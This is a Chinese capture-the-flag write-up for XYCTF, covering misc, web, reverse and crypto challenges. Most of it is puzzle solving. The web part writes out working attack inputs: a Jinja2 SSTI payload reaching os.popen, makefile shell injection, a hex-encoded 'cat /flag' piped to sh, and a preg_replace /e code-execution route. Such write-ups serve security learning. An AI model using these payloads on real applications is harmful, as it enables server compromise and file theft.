XYCTF WP
最终结果
又是被队友带飞的一天,真好,这里是我的misc和web,以及队友的一些reverse wp
还是学到了很多,入门了misc,见识到了自己的web有多菜
misc
game
谷歌搜图即可得出 Paper,Please
熊博士
压缩包里发现这个
CBXGU{ORF_BV_NVR_BLF_CRZL_QQ}
由于有{},感觉可以通过这个解密出flag,而且感觉是简单的替换加密,ciphey 跑一下就出了
最后根据提示换一下大小写即可
二维码
给了一个被修改的二维码,和修改二维码的py脚本,审计脚本关键部分可知:
while count < 7:
x = random.randint(0, 1)
if x == 0:
reverse_col_colors(pixels, random.randint(0, height // 10 - 1), height)
else:
reverse_row_colors(pixels, random.randint(0, width // 10 - 1), width)
count += 1
总共修改7次,随机改二维码的某些行或列,要做出这题,需要对二维码的结构有基本的了解
题目给的二维码:
很明显三个定位标志都是错的,所以先修复定位标志,直接使用给的脚本即可,修改一下:
根据题目给的脚本,可以发现用0-24就可以定位到二维码的行或列
# 修复三个角:定位标志
# 修复第一列
reverse_col_colors(pixels, 0, height)
# 修复第二行
reverse_row_colors(pixels, 1, width)
# 修复第二,第五列
reverse_col_colors(pixels, 2, height)
reverse_col_colors(pixels, 5, height)
改完之后,是这样,
观察到定时标志区并不符合二维码结构,于是修补
reverse_col_colors(pixels, 10, height)
reverse_col_colors(pixels, 11, height)
reverse_row_colors(pixels, 12, width)
扫描,得到flag:
flag{qR_c0d3_1s_s0_fun}
zzl的护理小课堂
点开后,发现是回答问题,根据经验就算全对也没有flag,感觉关键在js代码,查看一下即可发现:
果然如此,控制台重写这个方法,重新访问即可
ez_隐写
一开时的压缩包是伪加密,用winrar修复后就可以打开了,Zipopenzar失败了,应该是只能去掉,里面只有一个文件的伪加密
解压后,里面是一个打不开的png,和一个压缩包,这个压缩包发现的是真加密,png的考点,感觉是宽高不对导致crc校验失败,用tweakpng打开试试,
果然,用脚本爆破出正确的宽高:
import os
import binascii
import struct
crcbp = open("formost.png", "rb").read() #打开图片
for i in range(10000):
for j in range(10000):
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if(crc32 == 0xa799029a): #图片当前CRC
print(i, j)
print('hex:', hex(i), hex(j))
一开时就设置了2000导致没爆出来,得设大点的范围
010修改图片的宽高
修改完,打开图片提示压缩包密码为开赛日期:20240401
解压,里面是个图片,图片提示盲水印,用watermarkH提取即可,
得到flag
zip神之套
压缩包有一个exe,和真加密压缩包,把exe用ida打开一看,
感觉就是压缩包的密码,?明显是提示用掩码跑,结果用数字跑一下就出了密码:20240401
解压后发现里面又有两个压缩包,其中一个有flag.md和很多其他文件并且被加密,另外一个没加密,里面的文件是前者压缩包的内容除了flag,
明显是明文攻击,用工具zipchr跑一下,虽然没跑出密码,但是保存后新的zip是可以打开的
拿到flag
出题有点烦
外层压缩包,真加密,但密码是123456
解压后5张图片,用foremost逐个尝试,从5.png分离出一个压缩包,真加密,发现里的文件名是xy@ct$f ,于是尝试密码xyctf,成功解压得到flag
真>签到
发现打不开这个压缩包,010打开就发现了flag
osint1
把那个有个标语的图片放百度上搜图,发现小红书有个博主的帖子里有一样的图片,博主说是江苏南通海安最东边海岸边,打开高德地图,一直往东边找,
发现就是江苏省南通市滨海东路黄海,这个应该非预期,预期应该是从那个户外论坛里找哈哈
ezbase_1024*2
1024*2 就是2048,上网找个网站base2048解码即可,网址:https://nerdmosis.com/tools/encode-and-decode-base2048
美妙的歌声
音频隐写,打开听见刺耳的声音,感觉频谱或波谱隐写,使用audacity打开波形图没发现什么端倪,打开频谱发现,
有key,尝试用deepsound或silenttype工具解析一下,deepsound解出来了,密码是上面那串字符
又是个签到
本来毫无头绪,一直尝试把emoji解出来但是无果,但是在某个下午刷题时,遇到了aes-emoji加密,本来想对比一下,aes-emoji和emoji加密的区别,就在这时发现了
😫👗🙋👴👡🙁😯👏😲😯👣👗👡🙁😶😰🙎👐👖👥😯👤🙊👮🙍👕👙🙊😷😹😰😯👲👢😯👱👚👨😶👬👹👨👥😵🙊😳🙊😲🙋👔👳👏🙋👬👤👮😫👷🙇😲👪👢👸👴👷😷😵🙈🙅😫👬👬👒👨😴👧😽😽
这是另一道题的flag被emoji加密,密码随便设了一个,对比题目给的,发现结尾都有😽😽,感觉这个应该是最终的结果,于是果断放弃,尝试把另一个密文解出来
另一个的密文,拿去aes128,密钥是qq群号798794707(题目也提示在qq群里就能签到),就解出来了
!
提示是Malbolge语言,找个网站在线运行一下,就出了flag,网站:https://malbolge.doleczek.pl/
一开始还不信这是flag,拿去解emoji但又解不出,尝试提交一下就对了,侥幸拿了三血,哈哈
web
web是我花心思比较多的,结果惨不忍睹,还得好好吸取经验总结才行
warmup
考察主要md5,弱类型比较吧
第一个很经典,找两个字符串加密后也是0e且后面纯数字即可(网上很多也可以自己跑),因为如果是0e34和0e35,在使用弱比较==
时会被转为科学记数法,034 和 035结果都是0,自然相等
第二个,要求自己是0e,且md5后也是0e,
用脚本跑一下即可,
0e215962017
0e251288019
第三个XYCTF_550102591加密后也是0e且后面纯数字,用extarct变量覆盖一下即可
然后来到level2
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}
这里考察intval的漏洞,intval,直接转字符串会转为0,数字字母组合会把数字后面的字母都省略,如 intval(1a3)=1,但是这里ban了数字,这里可以传一个数组,intval转化后是1
preg_replace有rce漏洞,匹配模式是/e的话,会把替换的目标当作php代码执行
然后直接看flag就行
ezmake
不能直接执行命令,尝试使用makefile执行系统命令的写法就成功了
$(shell cat flag)
XYCTF{53ee6882-6440-4f18-8c01-88f819a2a44d}
ez?makefile
能执行命令且有回显,有一定的过滤,测试发现过滤f|l|a|g|\?|\*|\;\$|\@
,但是没有忽略大小写
用十六进制写命令即可 ,f转成大写
echo "636174202F666c6167" | xxd -r -p|sh #cat /flag
ezhttp
常规的http协议考察,先尝试robots.txt,得到密码所在的文件,登录后按照要求,在bp改请求头即可,
要求本地登录,有很多字段,可以一个个试
复读机
前面有一个弱密码爆破,用题目的密码表搞出来是asdqwe
然后发现有个输入框,输入啥回显啥,输入{{回显,
十有八九考ssti,测一下过滤了啥
最重要的触发点{},{%%}
都没了,好像弄不了,后面经过队友提示,题目说只能读英文,如果中文半角输入%%
,再跟一个变量,后面的变量能触发ssti,如
其实事后一想,当你输入中文时,就可以看出一些端倪
既然找到了触发点,就该思考如何绕过黑名单,过滤了"" ,'',[,],_
本来想用chr,结果发现_被ban了,后面发现可以attr+request参数逃逸绕过,payload:
%%lipsum|attr(request.args.golbals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.import)(request.args.ab)|attr(request.args.popen)(request.args.cmd)|attr(request.args.read)()&golbals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&ab=os&popen=popen&cmd=cat /flag&read=read
最后看看题目源码:
from flask import *
import urllib.parse
app = Flask(__name__)
app.secret_key = 'lzlcnb' # 设置会话密钥,用于加密会话数据
@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
# 进行登录验证逻辑,如验证用户名密码是否匹配等
# 登录验证成功
if username == 'admin' and password == 'asdqwe':
session['username'] = username
return redirect('/index')
return render_template('login.html')
@app.route('/index')
def index():
if 'username' in session:
try:
flag = 0
word = request.args.get('sentence')
balck_array = ['[', ']', '_', 'config', 'url_for', 'system', 'flag', 'file', 'os', '"', "'", 'cat', 'system', 'eval', 'more', 'tail', 'less', 'base64', 'file', 'nc', 'python', 'exec', '{', '}']
for i in balck_array:
if word != None and i in word:
word = "what are you doing, little hacker"
break
if word is not None:
for i in range(len(word)):
if ord(word[i]) > 128:
word = '{' + word[0:i] + word[i+1:] + '}'
flag += 1
else:
word = "what do you want to say"
if flag:
word = "我只能看懂你说的英文(>﹏<)" + word
if "{{}}" in word:
word = word.replace("{{}}", '{ {}}')
html = '''
<!DOCTYPE html>
<html>
<head>
<title>我是一个复读机</title>
<style>
body {{
font-family: Arial, sans-serif;
background-image: url('/static/yourname.jpg'); /* 替换 'background.jpg' 为您想要设置的背景图片路径 */
background-size: cover;
background-position: center;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}}
form {{
background-color: rgba(255, 255, 255, 0.8);
padding: 20px;
border-radius: 8px;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
width: 800px;
}}
h2 {{
text-align: center;
color: #333;
}}
label {{
display: block;
margin-top: 10px;
color: #555;
}}
input[type="text"],
input[type="password"] {{
width: 100%;
padding: 8px;
margin-top: 4px;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}}
input[type="submit"] {{
width: 100%;
padding: 8px;
margin-top: 10px;
background-color: #007bff;
color: #fff;
border: none;
border-radius: 4px;
cursor: pointer;
}}
input[type="submit"]:hover {{
background-color: #0056b3;
}}
</style>
</head>
<body>
<form action="/index" method="get">
<h2>我的宝,你说什么我就说什么</h2>
<label for="sentence">你想说的话</label>
<input type="text" id="sentence" name="sentence" required>
<input type="submit" value="tell me">
<h2>{}</h2>
</form>
</body>
</html>'''.format(word)
return render_template_string(html)
except Exception as e:
return "出现了一点小问题"
else:
return redirect('/')
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=8080)
题目还开启了debug模式,可以用ssti找相关参数伪造pin码,控制台执行命令也行
givemeflag
考点:哈希长度拓展
题目直接给了flag的md5值,所以flag就感觉是salt了,正常的payload一般后面要加个东西(拓展字符),题目加的是时间戳,于是选个未来的时间戳即可,用脚本生成好后,在接近预定的时间前持续发送即可,
当然还需要知道flag的长度,flag里面长度固定,比赛公告里就提出flag头为flag或xyctf,所以就是42或43,尝试43就出了
时间戳题目会加,所以提交时去掉时间戳即可
ezmd5
要求两张不一样但是md5值相同的图片,上网找一下即可,地址:https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
reverse
砸核桃
先看程序信息,进行手动脱壳
打上ESP断点
找到EOP使用自带的scylla进行dump,再使用IDA反编译,发现是简单的异或加密
py解密拿flag
ez_cube
题如其名,会魔方的话能很快做出来
阅读源代码是一个魔方模拟器,给定初始状态,通过转动恢复魔方
阅读源代码,确认每个面字符的存储方式,和转动规则
发现转动规则是黄顶红前,RU规则即为魔方转动规则(然后自以为ru也是默认的魔方规则,找半天没找到还原方法,结果ru指的是R’U’,给我坑惨了)
动态调试得到初始状态,发现是简单的三棱换
将R’U’替换为ru得到字符串即为flag
ezmath
判断是python程序,使用pyinstxtractor和uncompyle6反编译得到ezmath.py,
判断单个sum项为两个数字进行相乘
分析全部的项,发现有每一位字符ascii码的平方和项,然后又有每个字符与常数相乘后的相减项
发现常数都是偶数,根据提示可以想到对每个字符进行配方,导出正则匹配数据进行操作
得到flag
ez_enc
审计代码可知,只是一个简单的加密
这里对当前明文字符进行了模操作,损失了部分信息,所以要利用前一个明文推出后一个明文
明文猜测是XYCTF或者是flag开头,那么可以就此推出接下来的明文,不行就爆破,现尝试X开头,写脚本解密
结果
得到flag
何须相思煮余年
题目说没有代码,那么猜测给的十六进制字符串为机器码,
给的数据格式不太符合要求,写了一个转换函数
使用disasm.pro将转化十六进制字符串为汇编代码,分析一下
分析汇编代码,发现很像对数组下标模运算后执行不同的操作
写个简单的解码程序
crypto
sign签到
完全不会密码学,做个签到溜了,居然两个签到都是一样的代码,就是密文不同
给了加密代码
from Crypto.Util.number import *
from tqdm import *
import gmpy2
flag=b'XYCTF{uuid}'
flag=bytes_to_long(flag)
leak=bin(int(flag))
while 1:
leak += "0"
if len(leak) == 514:
break
def swap_bits(input_str):
input_list = list(input_str[2:])
length = len(input_list)
for i in range(length // 2):
temp = input_list[i]
input_list[i] = input_list[length - 1 - i]
input_list[length - 1 - i] = temp
return ''.join(input_list)
input_str = leak
result = swap_bits(input_str)
a=result
def custom_add(input_str):
input_list = list(input_str)
length = len(input_list)
for i in range(length):
input_list[i] = str((int(input_list[i]) + i + 1) % 10)
result = ''.join(input_list)
return result
input_str = a
result = custom_add(input_str)
b=result
print(b)
#12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567789013445689902334577900134457889123356679911245578891223456890012346788901235667901134457889122355788001244568991123467780113445678012235578800134457889113356678011245567991223557880012445689911334677890134456799023355788001344568990223467789113445678912234577801123467889023346779902344578801233467789112355779912234577990233556780113
简单看一下,就是先把flag转为byte后,一直补0到514位,然后前后对调,最后转为列表,每一位加上自己的值加上索引对10取余,
写个脚本解密就行
import uuid
from Crypto.Util.number import * # 导入处理数字的实用函数
import gmpy2
def custom_subtract(input_str):
input_list = list(input_str)
length = len(input_list)
for i in range(length):
input_list[i] = str((int(input_list[i]) +10-i-1 )%10 )
result = ''.join(input_list)
return result
def reverse_swap_bits(input_str):
input_list = list(input_str)
length = len(input_list)
for i in range(length // 2):
# 交换对称位置上的位
temp = input_list[i]
input_list[i] = input_list[length - 1 - i]
input_list[length - 1 - i] = temp
return ''.join(input_list)
b="12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567891134567789023445779912234567900123457889113346778011344577890233556890012355689901335667891124556799023355788001235578891223467789113445778012235578800133467889022356678001344567991223557880012355689902335667891134456789122355788001235568991233566780012455788912235677900134456899012356679911245578801233467789112355779912234577990233556780113"
res=custom_subtract(b)
res=reverse_swap_bits(res)
print(res)
解出来二进制数据,后面的很多个0都去掉,最前面再加上个0,拿到cyberchef就能解密,